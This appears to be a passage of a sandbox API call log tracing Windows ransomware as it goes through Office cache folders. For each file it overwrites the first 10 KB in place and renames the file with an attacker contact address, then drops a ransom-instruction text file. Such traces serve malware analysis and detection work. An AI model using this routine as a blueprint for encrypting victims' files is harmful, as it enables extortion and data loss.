[0048.909] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0048.911] CloseHandle (hObject=0x10c) returned 1
[0048.911] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0048.912] GetProcessHeap () returned 0x2e0000
[0048.912] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0048.912] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1
[0048.912] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned 66
[0048.912] GetProcessHeap () returned 0x2e0000
[0048.912] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0048.912] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*") returned 68
[0048.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0049.956] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.") returned 68
[0049.957] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0049.963] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0050.037] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0050.037] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..") returned 69
[0050.037] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0050.037] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0050.037] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1
[0050.037] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 81
[0050.037] StrStrIW (lpFirst="ProjectMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0050.037] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0050.063] GetProcessHeap () returned 0x2e0000
[0050.063] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0050.067] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0050.080] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0050.080] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0050.087] GetProcessHeap () returned 0x2e0000
[0050.087] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.556] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0050.556] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0050.570] CloseHandle (hObject=0x10c) returned 1
[0050.570] GetProcessHeap () returned 0x2e0000
[0050.570] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0050.570] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0050.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0050.571] GetProcessHeap () returned 0x2e0000
[0050.571] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.571] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1
[0050.571] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 81
[0050.571] StrStrIW (lpFirst="ProjectMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0050.571] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0050.583] GetProcessHeap () returned 0x2e0000
[0050.583] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0050.583] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x5ac, lpOverlapped=0x0) returned 1
[0050.585] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffa54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0050.585] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x5ac, lpOverlapped=0x0) returned 1
[0050.597] GetProcessHeap () returned 0x2e0000
[0050.597] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.597] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0050.597] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0050.597] CloseHandle (hObject=0x10c) returned 1
[0050.597] GetProcessHeap () returned 0x2e0000
[0050.597] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0050.597] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0050.597] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0050.598] GetProcessHeap () returned 0x2e0000
[0050.598] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.598] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1
[0050.598] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 77
[0050.598] StrStrIW (lpFirst="ProjLR.cab", lpSrch="SDfghjkl") returned 0x0
[0050.598] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0050.603] GetProcessHeap () returned 0x2e0000
[0050.603] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0050.603] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0050.606] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0050.606] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0050.606] GetProcessHeap () returned 0x2e0000
[0050.606] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.606] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0050.606] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0050.649] CloseHandle (hObject=0x10c) returned 1
[0050.649] GetProcessHeap () returned 0x2e0000
[0050.649] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0050.649] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0050.649] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0050.650] GetProcessHeap () returned 0x2e0000
[0050.650] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.650] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0050.650] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0050.650] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0050.650] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0050.695] GetProcessHeap () returned 0x2e0000
[0050.695] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0050.695] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x750, lpOverlapped=0x0) returned 1
[0050.704] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff8b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0050.704] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x750, lpOverlapped=0x0) returned 1
[0050.724] GetProcessHeap () returned 0x2e0000
[0050.724] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.724] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0050.724] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0050.724] CloseHandle (hObject=0x10c) returned 1
[0050.725] GetProcessHeap () returned 0x2e0000
[0050.725] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0050.725] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0050.725] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0050.725] GetProcessHeap () returned 0x2e0000
[0050.725] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.725] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0050.725] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0050.725] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0050.726] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0050.727] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0050.727] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0050.727] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0050.727] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0050.727] CloseHandle (hObject=0x10c) returned 1
[0050.727] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0050.727] GetProcessHeap () returned 0x2e0000
[0050.727] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0050.727] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1
[0050.727] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned 66
[0050.727] GetProcessHeap () returned 0x2e0000
[0050.727] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0050.728] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*") returned 68
[0050.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0050.730] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.") returned 68
[0050.730] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0050.730] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0050.730] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0050.730] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..") returned 69
[0050.730] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0050.730] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
